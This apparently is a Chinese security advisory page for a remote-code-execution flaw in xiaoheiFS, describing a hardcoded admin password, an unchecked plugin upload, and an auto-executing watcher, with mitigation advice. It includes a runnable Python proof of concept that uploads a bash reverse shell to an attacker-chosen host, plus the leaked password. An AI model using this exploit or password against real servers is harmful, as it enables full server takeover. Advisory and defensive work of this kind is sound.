IPBUF安全漏洞报告
English
CVE-2026-28674 CVSS 7.2 高危

CVE-2026-28674 xiaoheiFS 插件上传远程代码执行漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-28674
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
xiaoheiFS

相关标签

远程代码执行文件上传漏洞硬编码密码插件注入xiaoheiFSCVE-2026-28674RCE认证绕过

漏洞概述

xiaoheiFS是一个面向云服务业务的自托管财务和运营系统。该系统在0.3.15及之前版本中存在严重的远程代码执行漏洞。漏洞源于AdminPaymentPluginUpload接口的设计缺陷,该接口本应允许管理员上传支付插件以扩展系统功能,但实现中存在多个严重安全问题。首先,接口仅使用硬编码密码qweasd123456进行身份验证,而非基于会话或令牌的认证机制,攻击者可以直接使用该密码调用上传接口,完全绕过正常的身份验证流程。其次,接口对上传文件的类型、内容和扩展名未做任何检查或验证,允许任意文件上传至plugins/payment/目录。最后,系统后台的StartWatcher组件每5秒扫描一次插件目录,发现新的可执行文件后会立即执行,攻击者只需上传恶意可执行文件,系统会在下一个扫描周期内自动运行该文件,从而实现远程代码执行。由于该接口需要高权限访问,漏洞利用需要认证,但攻击者可以通过泄露的硬编码密码获取管理员权限,这大幅降低了攻击门槛。攻击者成功利用此漏洞可在服务器上执行任意命令,完全控制目标系统。

技术细节

漏洞的核心问题在于多个安全机制的级联失效。第一个问题是认证绕过:AdminPaymentPluginUpload接口采用硬编码密码qweasd123456进行认证,这个密码在代码中明文存储,一旦泄露任何人都能以管理员身份调用该接口,正确的做法应该是使用基于会话的认证或动态令牌机制。第二个问题是文件上传漏洞:上传接口未对上传文件的MIME类型、扩展名和内容进行验证,攻击者可以上传任意类型的文件包括可执行脚本和二进制程序,文件被保存到plugins/payment/目录。第三个问题是自动执行机制:StartWatcher后台进程每5秒扫描一次plugins/payment/目录,当检测到新的可执行文件时进程会立即以系统权限执行该文件,这个机制原本用于热加载支付插件,但现在成为远程代码执行的通道。攻击者利用这个漏洞的流程是:首先使用硬编码密码向AdminPaymentPluginUpload接口发送POST请求,上传包含恶意代码的文件;文件保存后,StartWatcher在下一个扫描周期检测到新文件并执行它;攻击者因此获得服务器的命令执行权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者发现目标系统运行xiaoheiFS,并识别出AdminPaymentPluginUpload接口路径
STEP 2
步骤2: 认证绕过
使用硬编码密码qweasd123456向/admin/plugin/upload接口发送认证请求,绕过正常身份验证
STEP 3
步骤3: 文件上传
构造包含恶意代码的插件文件(如反弹shell脚本),通过multipart/form-data上传至plugins/payment/目录
STEP 4
步骤4: 自动执行
系统后台StartWatcher进程每5秒扫描插件目录,检测到新的可执行文件后立即以系统权限执行
STEP 5
步骤5: 获得shell
恶意代码执行后,攻击者获得目标服务器的反弹shell,实现远程代码执行,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-28674 PoC - xiaoheiFS Plugin Upload RCE xiaoheiFS versions <= 0.3.15 allow remote code execution via AdminPaymentPluginUpload endpoint. The endpoint uses hardcoded password 'qweasd123456' and StartWatcher auto-executes uploaded files. """ import requests import argparse import time import sys def exploit(target_url, password, lhost, lport): """ Exploit the plugin upload vulnerability to achieve RCE """ upload_url = f"{target_url}/admin/plugin/upload" # Create malicious plugin file with reverse shell payload # The StartWatcher will execute this file after 5 seconds reverse_shell = f'''#!/bin/bash bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 ''' headers = { "Authorization": password, } files = { "file": ("shell.sh", reverse_shell.encode(), "application/x-sh") } print(f"[*] Target: {target_url}") print(f"[*] Using hardcoded password: {password}") print(f"[*] Uploading malicious plugin...") try: response = requests.post(upload_url, headers=headers, files=files, timeout=30) print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Plugin uploaded successfully!") print("[*] Waiting for StartWatcher to execute the payload (5 seconds)...") time.sleep(6) print("[!] Check your listener for incoming reverse shell!") else: print(f"[-] Upload failed with status: {response.status_code}") print(f"[-] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-28674 PoC - xiaoheiFS RCE") parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://192.168.1.100:8080)") parser.add_argument("-p", "--password", default="qweasd123456", help="Hardcoded authentication password") parser.add_argument("-lh", "--lhost", required=True, help="Attacker listener host IP") parser.add_argument("-lp", "--lport", required=True, type=int, help="Attacker listener port") args = parser.parse_args() exploit(args.target, args.password, args.lhost, args.lport) # Usage: # Attacker side: nc -lvnp 4444 # Run PoC: python3 cve-2026-28674.py -t http://target:8080 -lh 192.168.1.100 -lp 4444

影响范围

xiaoheiFS <= 0.3.15

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在网络层限制/admin/plugin/upload接口的访问,只允许受信任的IP地址访问;2) 禁用StartWatcher的自动执行功能或增加执行前的安全校验;3) 监控plugins/payment/目录的文件变化,及时发现异常上传行为;4) 修改硬编码密码为强密码并定期更换;5) 限制Web服务的运行权限,避免以root或高权限运行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表